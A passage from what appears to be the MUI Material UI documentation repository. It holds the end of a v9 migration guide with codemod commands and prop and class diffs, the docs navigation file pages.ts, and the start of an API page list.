SpeedDialAction props\n\nUse the [speed-dial-action-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#speed-dial-action-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/speed-dial-action-props <path>\n```\n\nThe deprecated `SpeedDialAction` props have been removed.\nUse the `slotProps` prop instead:\n\n```diff\n <SpeedDialAction\n-  FabProps={{ size: 'large' }}\n-  tooltipTitle=\"Add\"\n-  tooltipPlacement=\"right\"\n-  tooltipOpen\n-  TooltipClasses={{ tooltip: 'custom' }}\n+  slotProps={{\n+    fab: { size: 'large' },\n+    tooltip: {\n+      title: 'Add',\n+      placement: 'right',\n+      open: true,\n+      classes: { tooltip: 'custom' },\n+    },\n```\n\n### Switch props\n\nUse the [switch-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#switch-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/switch-props <path>\n```\n\nThe following deprecated `Switch` props have been removed:\n\n- `inputProps` — use `slotProps.input` instead\n- `inputRef` — use `slotProps.input.ref` instead\n\n```diff\n <Switch\n-  inputProps={{ 'aria-label': 'Switch' }}\n-  inputRef={ref}\n+  slotProps={{ input: { 'aria-label': 'Switch', ref } }}\n />\n```\n\n### SwipeableDrawer props\n\nUse the [drawer-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#drawer-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/drawer-props <path>\n```\n\nThe following deprecated props have been removed from the `SwipeableDrawer` component:\n\n- `BackdropComponent` → use `slots.backdrop`\n- `BackdropProps` → use `slotProps.backdrop`\n- `SwipeAreaProps` → use `slotProps.swipeArea`\n\n```diff\n <SwipeableDrawer\n-  BackdropComponent={CustomBackdrop}\n-  BackdropProps={{ invisible: true }}\n-  SwipeAreaProps={{ className: 'custom' }}\n+  slots={{ backdrop: CustomBackdrop }}\n+  slotProps={{ backdrop: { invisible: true }, swipeArea: { className: 'custom' } }}\n />\n```\n\n### TablePagination props\n\nUse the [table-pagination-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#table-pagination-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/table-pagination-props <path>\n```\n\nThe following deprecated props have been removed:\n\n- `backIconButtonProps` — use `slotProps.actions.previousButton` instead\n- `nextIconButtonProps` — use `slotProps.actions.nextButton` instead\n- `SelectProps` — use `slotProps.select` instead\n\n```diff\n <TablePagination\n-  backIconButtonProps={{ disabled: true }}\n-  nextIconButtonProps={{ disabled: true }}\n-  SelectProps={{ variant: 'outlined' }}\n+  slotProps={{\n+    actions: {\n+      previousButton: { disabled: true },\n+      nextButton: { disabled: true },\n+    },\n+    select: { variant: 'outlined' },\n+  }}\n />\n```\n\n### TableSortLabel CSS classes\n\nUse the [table-sort-label-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#table-sort-label-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/table-sort-label-classes <path>\n```\n\nThe following deprecated classes have been removed:\n\n- `iconDirectionDesc` — combine the `.MuiTableSortLabel-directionDesc` and `.MuiTableSortLabel-icon` classes instead\n- `iconDirectionAsc` — combine the `.MuiTableSortLabel-directionAsc` and `.MuiTableSortLabel-icon` classes instead\n\n```diff\n-.MuiTableSortLabel-iconDirectionDesc\n+.MuiTableSortLabel-directionDesc > .MuiTableSortLabel-icon\n\n-.MuiTableSortLabel-iconDirectionAsc\n+.MuiTableSortLabel-directionAsc > .MuiTableSortLabel-icon\n```\n\nIf you were using these deprecated class names as `styleOverrides` keys in your theme, use the `variants` array in the `icon` override instead:\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiTableSortLabel: {\n       styleOverrides: {\n-        iconDirectionDesc: { opacity: 1 },\n-        iconDirectionAsc: { opacity: 1 },\n+        icon: {\n+          variants: [\n+            { props: { direction: 'desc' }, style: { opacity: 1 } },\n+            { props: { direction: 'asc' }, style: { opacity: 1 } },\n+          ],\n+        },\n       },\n     },\n   },\n });\n```\n\n### Tabs props\n\nUse the [tabs-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#tabs-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/tabs-props <path>\n```\n\nThe following deprecated props have been removed:\n\n- `ScrollButtonComponent` — use `slots.scrollButtons` instead\n- `TabIndicatorProps` — use `slotProps.indicator` instead\n- `TabScrollButtonProps` — use `slotProps.scrollButtons` instead\n- `slots.StartScrollButtonIcon` — use `slots.startScrollButtonIcon` instead\n- `slots.EndScrollButtonIcon` — use `slots.endScrollButtonIcon` instead\n\n```diff\n <Tabs\n-  ScrollButtonComponent={CustomScrollButton}\n-  TabIndicatorProps={{ style: { backgroundColor: 'green' } }}\n-  TabScrollButtonProps={{ disableRipple: true }}\n+  slots={{ scrollButtons: CustomScrollButton }}\n+  slotProps={{\n+    indicator: { style: { backgroundColor: 'green' } },\n+    scrollButtons: { disableRipple: true },\n+  }}\n />\n```\n\n```diff\n <Tabs\n-  slots={{ StartScrollButtonIcon: CustomIcon, EndScrollButtonIcon: CustomIcon2 }}\n+  slots={{ startScrollButtonIcon: CustomIcon, endScrollButtonIcon: CustomIcon2 }}\n />\n```\n\n### Tab CSS classes\n\nUse the [tab-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#tab-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/tab-classes <path>\n```\n\nThe following deprecated class has been removed:\n\n- `iconWrapper` — use the `icon` class instead\n\n```diff\n-.MuiTab-iconWrapper\n+.MuiTab-icon\n```\n\n### Tabs CSS classes\n\nThe following deprecated classes have been removed:\n\n- `flexContainer` — use the `list` class instead\n- `flexContainerVertical` — combine the `list` and `vertical` classes instead\n\n```diff\n-.MuiTabs-flexContainer\n+.MuiTabs-list\n\n-.MuiTabs-flexContainerVertical\n+.MuiTabs-list.MuiTabs-vertical\n```\n\n### ToggleButtonGroup CSS classes\n\nUse the [toggle-button-group-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#toggle-button-group-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/toggle-button-group-classes <path>\n```\n\nThe following deprecated `ToggleButtonGroup` CSS classes have been removed:\n\n- `groupedHorizontal` → use `.MuiToggleButtonGroup-horizontal > .MuiToggleButtonGroup-grouped`\n- `groupedVertical` → use `.MuiToggleButtonGroup-vertical > .MuiToggleButtonGroup-grouped`\n\nIf you were using these deprecated class names as `styleOverrides` keys in your theme, use the `variants` array in the `grouped` override instead:\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiToggleButtonGroup: {\n       styleOverrides: {\n-        groupedHorizontal: { borderRadius: 0 },\n-        groupedVertical: { borderRadius: 0 },\n+        grouped: {\n+          variants: [\n+            { props: { orientation: 'horizontal' }, style: { borderRadius: 0 } },\n+            { props: { orientation: 'vertical' }, style: { borderRadius: 0 } },\n+          ],\n+        },\n       },\n     },\n   },\n });\n```\n\n### TextField props\n\nUse the [text-field-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#text-field-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/text-field-props <path>\n```\n\nThe following deprecated props have been removed from the `TextField` component:\n\n- `InputProps` → use `slotProps.input`\n- `inputProps` → use `slotProps.htmlInput`\n- `SelectProps` → use `slotProps.select`\n- `InputLabelProps` → use `slotProps.inputLabel`\n- `FormHelperTextProps` → use `slotProps.formHelperText`\n\n```diff\n <TextField\n-  InputProps={CustomInputProps}\n-  inputProps={CustomHtmlInputProps}\n-  SelectProps={CustomSelectProps}\n-  InputLabelProps={CustomInputLabelProps}\n-  FormHelperTextProps={CustomFormHelperTextProps}\n+  slotProps={{\n+    input: CustomInputProps,\n+    htmlInput: CustomHtmlInputProps,\n+    select: CustomSelectProps,\n+    inputLabel: CustomInputLabelProps,\n+    formHelperText: CustomFormHelperTextProps,\n+  }}\n />\n```\n\nUse the [autocomplete-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#autocomplete-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/autocomplete-props <path>\n```\n\nIf you render a `TextField` from `Autocomplete`, the `params` shape also changed to match the new `TextField` API:\n\n```diff\n <Autocomplete\n   renderInput={(params) => (\n     <TextField\n       {...params}\n-      inputProps={{\n-        ...params.inputProps,\n-        autoComplete: 'new-password',\n+      slotProps={{\n+        ...params.slotProps,\n+        htmlInput: {\n+          ...params.slotProps.htmlInput,\n+          autoComplete: 'new-password',\n+        },\n       }}\n     />\n   )}\n```\n\n### Tooltip props\n\nUse the [tooltip-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#tooltip-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/tooltip-props <path>\n```\n\nThe following deprecated props have been removed from the `Tooltip` component:\n\n- `components` → use `slots`\n- `componentsProps` → use `slotProps`\n- `PopperComponent` → use `slots.popper`\n- `PopperProps` → use `slotProps.popper`\n- `TransitionComponent` → use `slots.transition`\n- `TransitionProps` → use `slotProps.transition`\n\n```diff\n <Tooltip\n   title=\"Hello World\"\n-  components={{ Popper: CustomPopper, Tooltip: CustomTooltip, Transition: CustomTransition, Arrow: CustomArrow }}\n-  componentsProps={{ popper: { placement: 'top' }, tooltip: { className: 'custom' }, arrow: { className: 'arrow' } }}\n-  PopperComponent={CustomPopper}\n-  PopperProps={{ disablePortal: true }}\n-  TransitionComponent={CustomTransition}\n-  TransitionProps={{ timeout: 500 }}\n+  slots={{ popper: CustomPopper, tooltip: CustomTooltip, transition: CustomTransition, arrow: CustomArrow }}\n+  slotProps={{\n+    popper: { placement: 'top', disablePortal: true },\n+    tooltip: { className: 'custom' },\n+    transition: { timeout: 500 },\n+    arrow: { className: 'arrow' },\n+  }}\n />\n```\n\n### Typography CSS classes\n\nThe deprecated `paragraph` CSS class has been removed.\nUse CSS `.MuiTypography-root:where(p)` to apply custom styles for the paragraph element instead:\n\n```diff\n-.MuiTypography-paragraph {\n-  margin-bottom: 16px;\n-}\n+.MuiTypography-root:where(p) {\n+  margin-bottom: 16px;\n+}\n```\n\n### Typography props\n\nUse the [typography-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#typography-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/typography-props <path>\n```\n\nThe following deprecated props have been removed from the `Typography` component:\n\n- `paragraph` → use the `sx` prop to add a margin bottom instead\n\n```diff\n-<Typography paragraph />\n+<Typography sx={{ marginBottom: '16px' }} />\n```\n\n### System props\n\nUse the [system-props codemod](/material-ui/migration/migrating-from-deprecated-apis/#system-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest v9.0.0/system-props <path/to/folder>\n```\n\nThe deprecated system props have been removed from the following components:\n\n- `Box`\n- `DialogContentText`\n- `Grid`\n- `Link`\n- `Stack`\n- `Typography`\n- `TimelineContent`\n- `TimelineOppositeContent`\n\n```diff\n-<Box mt={2} color=\"primary.main\" />\n+<Box sx={{ mt: 2, color: 'primary.main' }} />\n\n-<DialogContentText mt={2} color=\"text.secondary\" />\n+<DialogContentText sx={{ mt: 2, color: 'text.secondary' }} />\n\n-<Grid mt={2} mr={1} />\n+<Grid sx={{ mt: 2, mr: 1 }} />\n\n-<Link mt={2} color=\"text.secondary\" />\n+<Link sx={{ mt: 2, color: 'text.secondary' }} />\n\n-<Stack mt={2} alignItems=\"center\" />\n+<Stack sx={{ mt: 2, alignItems: 'center' }} />\n\n-<Typography mt={2} fontWeight=\"bold\" />\n+<Typography sx={{ mt: 2, fontWeight: 'bold' }} />\n\n-<TimelineContent mt={2} color=\"text.secondary\" />\n+<TimelineContent sx={{ mt: 2, color: 'text.secondary' }} />\n\n-<TimelineOppositeContent mt={2} color=\"text.secondary\" />\n+<TimelineOppositeContent sx={{ mt: 2, color: 'text.secondary' }} />\n```\n\nThis also fixes an issue where props like `color` were consumed by the component instead of being forwarded to the element rendered via the `component` prop:\n\n```jsx\n// `color` is now correctly forwarded to Button\n<Grid component={Button} color=\"secondary\" variant=\"contained\">\n  hello\n</Grid>\n```\n"
  },
  {
    "path": "docs/data/material/pages.ts",
    "content": "import standardNavIcons from 'docs/src/modules/components/AppNavIcons';\nimport pagesApi from 'docs/data/material/pagesApi';\nimport { MuiPage } from '@mui/docs/MuiPage';\n\nconst pages: MuiPage[] = [\n  {\n    pathname: '/material-ui/getting-started-group',\n    title: 'Getting started',\n    children: [\n      { pathname: '/material-ui/getting-started', title: 'Overview' },\n      { pathname: '/material-ui/getting-started/installation' },\n      { pathname: '/material-ui/getting-started/usage' },\n      { pathname: '/material-ui/getting-started/mcp', newFeature: true, title: 'MCP' },\n      { pathname: '/material-ui/llms.txt', newFeature: true, title: 'llms.txt' },\n      { pathname: '/material-ui/getting-started/example-projects' },\n      { pathname: '/material-ui/getting-started/templates' },\n      { pathname: '/material-ui/getting-started/learn' },\n      { pathname: '/material-ui/getting-started/design-resources' },\n      { pathname: '/material-ui/getting-started/faq', title: 'FAQs' },\n      { pathname: '/material-ui/getting-started/supported-components' },\n      { pathname: '/material-ui/getting-started/supported-platforms' },\n      { pathname: '/material-ui/getting-started/support' },\n    ],\n  },\n  {\n    pathname: '/material-ui/react-',\n    title: 'Components',\n    children: [\n      { pathname: '/material-ui/all-components', title: 'All components' },\n      {\n        pathname: '/material-ui/components/inputs',\n        subheader: 'inputs',\n        children: [\n          { pathname: '/material-ui/react-autocomplete' },\n          { pathname: '/material-ui/react-button' },\n          { pathname: '/material-ui/react-button-group', title: 'Button Group' },\n          { pathname: '/material-ui/react-checkbox' },\n          {\n            pathname: '/material-ui/react-floating-action-button',\n            title: 'Floating Action Button',\n          },\n          { pathname: '/material-ui/react-number-field', title: 'Number Field', newFeature: true },\n          { pathname: '/material-ui/react-radio-button', title: 'Radio Group' },\n          { pathname: '/material-ui/react-rating' },\n          { pathname: '/material-ui/react-select' },\n          { pathname: '/material-ui/react-slider' },\n          { pathname: '/material-ui/react-switch' },\n          { pathname: '/material-ui/react-text-field', title: 'Text Field' },\n          { pathname: '/material-ui/react-transfer-list', title: 'Transfer List' },\n          { pathname: '/material-ui/react-toggle-button', title: 'Toggle Button' },\n        ],\n      },\n      {\n        pathname: '/material-ui/components/data-display',\n        subheader: 'data-display',\n        children: [\n          { pathname: '/material-ui/react-avatar' },\n          { pathname: '/material-ui/react-badge' },\n          { pathname: '/material-ui/react-chip' },\n          { pathname: '/material-ui/react-divider' },\n          { pathname: '/material-ui/icons' },\n          { pathname: '/material-ui/material-icons', title: 'Material Icons' },\n          { pathname: '/material-ui/react-list' },\n          { pathname: '/material-ui/react-table' },\n          { pathname: '/material-ui/react-tooltip' },\n          { pathname: '/material-ui/react-typography' },\n        ],\n      },\n      {\n        pathname: '/material-ui/components/feedback',\n        subheader: 'feedback',\n        children: [\n          { pathname: '/material-ui/react-alert' },\n          { pathname: '/material-ui/react-backdrop' },\n          { pathname: '/material-ui/react-dialog' },\n          { pathname: '/material-ui/react-progress' },\n          { pathname: '/material-ui/react-skeleton' },\n          { pathname: '/material-ui/react-snackbar' },\n        ],\n      },\n      {\n        pathname: '/material-ui/components/surfaces',\n        subheader: 'surfaces',\n        children: [\n          { pathname: '/material-ui/react-accordion' },\n          { pathname: '/material-ui/react-app-bar', title: 'App Bar' },\n          { pathname: '/material-ui/react-card' },\n          { pathname: '/material-ui/react-paper' },\n        ],\n      },\n      {\n        pathname: '/material-ui/components/navigation',\n        subheader: 'navigation',\n        children: [\n          { pathname: '/material-ui/react-bottom-navigation', title: 'Bottom Navigation' },\n          { pathname: '/material-ui/react-breadcrumbs' },\n          { pathname: '/material-ui/react-drawer' },\n          { pathname: '/material-ui/react-link' },\n          { pathname: '/material-ui/react-menu' },\n          { pathname: '/material-ui/react-menubar', newFeature: true },\n          { pathname: '/material-ui/react-pagination' },\n          { pathname: '/material-ui/react-speed-dial', title: 'Speed Dial' },\n          { pathname: '/material-ui/react-stepper' },\n          { pathname: '/material-ui/react-tabs' },\n        ],\n      },\n      {\n        pathname: '/material-ui/components/layout',\n        subheader: 'layout',\n        children: [\n          { pathname: '/material-ui/react-box' },\n          { pathname: '/material-ui/react-container' },\n          { pathname: '/material-ui/react-grid' },\n          { pathname: '/material-ui/react-stack' },\n          { pathname: '/material-ui/react-image-list', title: 'Image List' },\n        ],\n      },\n      {\n        pathname: '/material-ui/components/utils',\n        subheader: 'utils',\n        children: [\n          {\n            pathname: '/material-ui/react-click-away-listener',\n            title: 'Click-Away Listener',\n          },\n          { pathname: '/material-ui/react-css-baseline', title: 'CSS Baseline' },\n          {\n            pathname: '/material-ui/react-init-color-scheme-script',\n            title: 'InitColorSchemeScript',\n          },\n          { pathname: '/material-ui/react-modal' },\n          { pathname: '/material-ui/react-no-ssr', title: 'No SSR' },\n          { pathname: '/material-ui/react-popover' },\n          { pathname: '/material-ui/react-popper' },\n          { pathname: '/material-ui/react-portal' },\n          {\n            pathname: '/material-ui/react-textarea-autosize',\n            title: 'Textarea Autosize',\n          },\n          { pathname: '/material-ui/transitions' },\n          { pathname: '/material-ui/react-use-media-query', title: 'useMediaQuery' },\n        ],\n      },\n      {\n        pathname: '/mui-x', // the pathname does not matter here because the links to MUI X are outbound.\n        subheader: 'MUI X',\n        children: [\n          { pathname: '/x/react-data-grid', title: 'Data Grid' },\n          { pathname: '/x/react-date-pickers', title: 'Date and Time Pickers' },\n          { pathname: '/x/react-charts' },\n          { pathname: '/x/react-tree-view', title: 'Tree View' },\n        ],\n      },\n      {\n        pathname: '/material-ui',\n        subheader: 'lab',\n        children: [\n          { pathname: '/material-ui/about-the-lab', title: 'About the lab 🧪' },\n          { pathname: '/material-ui/react-masonry' },\n          { pathname: '/material-ui/react-timeline' },\n        ],\n      },\n    ],\n  },\n  {\n    title: 'Component API',\n    pathname: '/material-ui/api',\n    children: pagesApi,\n  },\n  {\n    pathname: '/material-ui/customization',\n    children: [\n      { pathname: '/material-ui/customization/how-to-customize' },\n      { pathname: '/material-ui/customization/overriding-component-structure' },\n      { pathname: '/material-ui/customization/dark-mode' },\n      { pathname: '/material-ui/customization/color' },\n      { pathname: '/material-ui/customization/right-to-left', title: 'Right-to-left' },\n      { pathname: '/material-ui/customization/shadow-dom', title: 'Shadow DOM' },\n      {\n        pathname: '/material-ui/customization/theme',\n        subheader: '/material-ui/customization/theme',\n        children: [\n          { pathname: '/material-ui/customization/default-theme', title: 'Default theme viewer' },\n          { pathname: '/material-ui/customization/theming', title: 'Customizing the theme' },\n          {\n            pathname: '/material-ui/customization/creating-themed-components',\n            title: 'Creating themed components',\n          },\n          { pathname: '/material-ui/customization/theme-components', title: 'Components' },\n        ],\n      },\n      {\n        pathname: '/material-ui/customization/tokens',\n        subheader: 'tokens',\n        children: [\n          { pathname: '/material-ui/customization/palette' },\n          { pathname: '/material-ui/customization/typography' },\n          { pathname: '/material-ui/customization/spacing' },\n          { pathname: '/material-ui/customization/shape' },\n          { pathname: '/material-ui/customization/breakpoints' },\n          {\n            pathname: '/material-ui/customization/container-queries',\n            newFeature: true,\n          },\n          { pathname: '/material-ui/customization/density' },\n          { pathname: '/material-ui/customization/z-index', title: 'z-index' },\n          { pathname: '/material-ui/customization/transitions' },\n        ],\n      },\n      {\n        pathname: '/material-ui/customization/css-variables',\n        subheader: '/material-ui/customization/css-variables',\n        newFeature: true,\n        children: [\n          { pathname: '/material-ui/customization/css-theme-variables/overview' },\n          {\n            pathname: '/material-ui/customization/css-theme-variables/usage',\n            title: 'Basic usage',\n          },\n          {\n            pathname: '/material-ui/customization/css-theme-variables/native-color',\n            title: 'Native color',\n          },\n          {\n            pathname: '/material-ui/customization/css-theme-variables/configuration',\n            title: 'Advanced configuration',\n          },\n        ],\n      },\n      {\n        pathname: '/material-ui/customization/styles',\n        subheader: '/material-ui/customization/styles',\n        title: 'Styles',\n        children: [\n          {\n            pathname: '/material-ui/customization/css-layers',\n            title: 'Cascade layers',\n            newFeature: true,\n          },\n        ],\n      },\n    ],\n  },\n  {\n    pathname: '/material-ui/guides',\n    title: 'How-to guides',\n    children: [\n      { pathname: '/material-ui/guides/building-extensible-themes' },\n      { pathname: '/material-ui/guides/minimizing-bundle-size' },\n      { pathname: '/material-ui/guides/server-rendering' },\n      { pathname: '/material-ui/guides/responsive-ui', title: 'Responsive UI' },\n      { pathname: '/material-ui/guides/testing' },\n      { pathname: '/material-ui/guides/localization' },\n      { pathname: '/material-ui/guides/api', title: 'API design approach' },\n      { pathname: '/material-ui/guides/typescript', title: 'TypeScript' },\n      { pathname: '/material-ui/guides/composition' },\n      {\n        pathname: '/material-ui/guides/content-security-policy',\n        title: 'Content Security Policy',\n      },\n    ],\n  },\n  {\n    pathname: '/material-ui/integrations',\n    title: 'Integrations',\n    children: [\n      {\n        pathname: '/material-ui/integrations/tailwindcss/tailwindcss-v4',\n        title: 'Tailwind CSS v4 integration',\n        newFeature: true,\n      },\n      {\n        pathname: '/material-ui/integrations/nextjs',\n        title: 'Next.js integration',\n        newFeature: true,\n      },\n      { pathname: '/material-ui/integrations/routing', title: 'Routing libraries' },\n      {\n        pathname: '/material-ui/integrations/styled-components',\n        title: 'Usage with styled-components',\n      },\n      {\n        pathname: '/material-ui/integrations/interoperability',\n        title: 'Style library interoperability',\n      },\n      { pathname: '/material-ui/integrations/theme-scoping' },\n    ],\n  },\n  {\n    pathname: '/material-ui/experimental-api',\n    title: 'Experimental APIs',\n    children: [\n      {\n        pathname: '/material-ui/experimental-api/classname-generator',\n        title: 'ClassName generator',\n      },\n      { pathname: '/material-ui/experimental-api/pigment-css', title: 'Pigment CSS' },\n    ],\n  },\n  {\n    pathname: '/material-ui/migration',\n    title: 'Migration',\n    children: [\n      {\n        pathname: '/material-ui/migration/upgrade-to-grid-v2',\n        title: 'Upgrade to Grid v2',\n      },\n      {\n        pathname: '/material-ui/migration/pickers-migration',\n        title: 'Migration from @material-ui/pickers',\n      },\n      {\n        pathname: '/material-ui/migration/v9',\n        subheader: 'Upgrade to v9',\n        children: [\n          {\n            pathname: '/material-ui/migration/upgrade-to-v9',\n            title: 'Upgrade to v9: getting started',\n          },\n        ],\n      },\n      {\n        pathname: '/material-ui/migration/v7',\n        subheader: 'Upgrade to v7',\n        children: [\n          {\n            pathname: '/material-ui/migration/upgrade-to-v7',\n            title: 'Upgrade to v7: getting started',\n          },\n          {\n            pathname: '/material-ui/migration/v7/migrating-from-deprecated-apis',\n            title: 'Migrating from deprecated APIs',\n          },\n          {\n            pathname: '/material-ui/migration/upgrade-to-native-color',\n            title: 'Native color',\n          },\n        ],\n      },\n      {\n        pathname: '/material-ui/migration/v6',\n        subheader: 'Upgrade to v6',\n        children: [\n          {\n            pathname: '/material-ui/migration/upgrade-to-v6',\n            title: 'Upgrade to v6: getting started',\n          },\n          {\n            pathname: '/material-ui/migration/migrating-from-deprecated-apis',\n            title: 'Migrating from deprecated APIs',\n          },\n          {\n            pathname: '/material-ui/migration/migrating-to-pigment-css',\n            title: 'Migrating to Pigment CSS',\n          },\n        ],\n      },\n      {\n        pathname: '/material-ui/migration/v5',\n        subheader: 'Upgrade to v5',\n        children: [\n          {\n            pathname: '/material-ui/migration/migration-v4',\n            title: 'Migrating to v5: getting started',\n          },\n          {\n            pathname: '/material-ui/migration/v5-style-changes',\n            title: 'Breaking changes: style and theme',\n          },\n          {\n            pathname: '/material-ui/migration/v5-component-changes',\n            title: 'Breaking changes: components',\n          },\n          {\n            pathname: '/material-ui/migration/migrating-from-jss',\n            title: 'Migrating from JSS (optional)',\n          },\n          {\n            pathname: '/material-ui/migration/troubleshooting',\n            title: 'Troubleshooting',\n          },\n        ],\n      },\n      {\n        pathname: '/material-ui/migration/earlier',\n        subheader: 'Earlier versions',\n        children: [\n          { pathname: '/material-ui/migration/migration-v3', title: 'Migration from v3 to v4' },\n          { pathname: '/material-ui/migration/migration-v0x', title: 'Migration from v0.x to v1' },\n        ],\n      },\n    ],\n  },\n  {\n    pathname: '/material-ui/discover-more',\n    children: [\n      { pathname: '/material-ui/discover-more/showcase' },\n      { pathname: '/material-ui/discover-more/related-projects' },\n      { pathname: '/material-ui/discover-more/roadmap' },\n      { pathname: '/material-ui/discover-more/backers', title: 'Sponsors and Backers' },\n      { pathname: '/material-ui/discover-more/vision' },\n      { pathname: '/material-ui/discover-more/changelog' },\n    ],\n  },\n  {\n    pathname: '/material-ui/design-resources',\n    title: 'Design resources',\n    children: [\n      {\n        pathname: '/material-ui/design-resources/material-ui-for-figma',\n        title: 'Figma Design Kit',\n      },\n      {\n        pathname: '/material-ui/design-resources/material-ui-sync',\n        title: 'Figma Sync plugin',\n        deprecated: true,\n      },\n    ],\n  },\n  {\n    pathname: 'https://mui.com/store/?utm_source=docs&utm_medium=referral&utm_campaign=sidenav',\n    title: 'Template store',\n    icon: standardNavIcons.WebIcon,\n  },\n];\n\nexport default pages;\n"
  },
  {
    "path": "docs/data/material/pagesApi.js",
    "content": "export default [\n  { pathname: '/material-ui/api/accordion' },\n  { pathname: '/material-ui/api/accordion-actions' },\n  { pathname: '/material-ui/api/accordion-details' },\n  { pathname: '/material-ui/api/accordion-summary' },\n  { pathname: '/material-ui/api/alert' },\n  { pathname: '/material-ui/api/alert-title' },\n  { pathname: '/material-ui/api/app-bar' },\n  { pathname: '/material-ui/api/autocomplete' },\n  { pathname: '/material-ui/api/avatar' },\n  { pathname: '/material-ui/api/avatar-group' },\n  { pathname: '/material-ui/api/backdrop' },\n  { pathname: '/material-ui/api/badge' },\n  { pathname: '/material-ui/api/bottom-navigation' },\n  { pathname: '/material-ui/api/bottom-navigation-action' },\n  { pathname: '/material-ui/api/box' },\n  { pathname: '/material-ui/api/breadcrumbs' },\n  { pathname: '/material-ui/api/button' },\n  { pathname: '/material-ui/api/button-base' },\n  { pathname: '/material-ui/api/button-group' },\n  { pathname: '/material-ui/api/card' },\n  { pathname: '/material-ui/api/card-action-area' },\n  { pathname: '/material-ui/api/card-actions' },\n  { pathname: '/material-ui/api/card-content' },\n  { pathname: '/material-ui/api/card-header' },\n  { pathname: '/material-ui/api/card-media' },\n  { pathname: '/material-ui/api/checkbox' },\n  { pathname: '/material-ui/api/chip' },\n  { pathname: '/material-ui/api/circular-progress' },\n  { pathname: '/material-ui/api/click-away-listener' },\n  { pathname: '/material-ui/api/collapse' },\n  { pathname: '/material-ui/api/container' },\n  { pathname: '/material-ui/api/css-baseline' },\n  { pathname: '/material-ui/api/dialog' },\n  { pathname: '/material-ui/api/dialog-actions' },\n  { pathname: '/material-ui/api/dialog-content' },\n  { pathname: '/material-ui/api/dialog-content-text' },\n  { pathname: '/material-ui/api/dialog-title' },\n  { pathname: '/material-ui/api/divider' },\n  { pathname: '/material-ui/api/drawer' },\n  { pathname: '/material-ui/api/fab' },\n  { pathname: '/material-ui/api/fade' },\n  { pathname: '/material-ui/api/filled-input' },\n  { pathname: '/material-ui/api/form-control' },\n  { pathname: '/material-ui/api/form-control-label' },\n  { pathname: '/material-ui/api/form-group' },\n  { pathname: '/material-ui/api/form-helper-text' },\n  { pathname: '/material-ui/api/form-label' },\n  { pathname: '/material-ui/api/global-styles' },\n  { pathname: '/material-ui/api/grid' },\n  { pathname: '/material-ui/api/grow' },\n  { pathname: '/material-ui/api/icon' },\n  { pathname: '/material-ui/api/icon-button' },\n  { pathname: '/material-ui/api/image-list' },\n  { pathname: '/material-ui/api/image-list-item' },\n  { pathname: '/material-ui/api/image-list-item-bar' },\n  { pathname: '/material-ui/api/init-color-scheme-script' },\n  { pathname: '/material-ui/api/input' },\n  { pathname: '/material-ui/api/input-adornment' },\n  { pathname: '/material-ui/api/input-base' },\n  { pathname: '/material-ui/api/input-label' },\n  { pathname: '/material-ui/api/linear-progress' },\n  { pathname: '/material-ui/api/link' },\n  { pathname: '/material-ui/api/list' },\n  { pathname: '/material-ui/api/list-item' },\n  { pathname: '/material-ui/api/list-item-avatar' },\n  { pathname: '/material-ui/api/list-item-button' },\n  { pathname: '/material-ui/api/list-item-icon' },\n  { pathname: '/material-ui/api/list-item-secondary-action' },\n  { pathname: '/material-ui/api/list-item-text' },\n  { pathname: '/material-ui/api/list-subheader' },\n  { pathname: '/material-ui/api/masonry' },\n  { pathname: '/material-ui/api/menu' },\n  { pathname: '/material-ui/api/menu-item' },\n  { pathname: '/material-ui/api/menu-list' },\n  { pathname: '/material-ui/api/mobile-stepper' },\n  { pathname: '/material-ui/api/modal' },\n  { pathname: '/material-ui/api/native-select' },\n  { pathname: '/material-ui/api/no-ssr' },\n  { pathname: '/material-ui/api/outlined-input' },\n  { pathname: '/material-ui/api/pagination' },\n  { pathname: '/material-ui/api/pagination-item' },\n  { pathname: '/material-ui/api/paper' },\n  { pathname: '/material-ui/api/pigment-container' },\n  { pathname: '/material-ui/api/pigment-grid' },\n  { pathname: '/material-ui/api/pigment-stack' },\n  { pathname: '/material-ui/api/popover' },\n  { pathname: '/material-ui/api/popper' },\n  { pathname: '/material-ui/api/portal' },\n  { pathname: '/material-ui/api/radio' },\n  { pathname: '/material-ui/api/radio-group' },\n  { pathname: '/material-ui/api/rating' },\n  { pathname: '/material-ui/api/scoped-css-baseline' },\n  { pathname: '/material-ui/api/select' },\n  { pathname: '/material-ui/api/skeleton' },\n  { pathname: '/material-ui/api/slide' },\n  { pathname: '/material-ui/api/slider' },\n  { pathname: '/material-ui/api/snackbar' },\n  { pathname: '/material-ui/api/snackbar-content' },\n  { pathname: '/material-ui/api/speed-dial' },\n  { pathname: '/material-ui/api/speed-dial-action' },\n  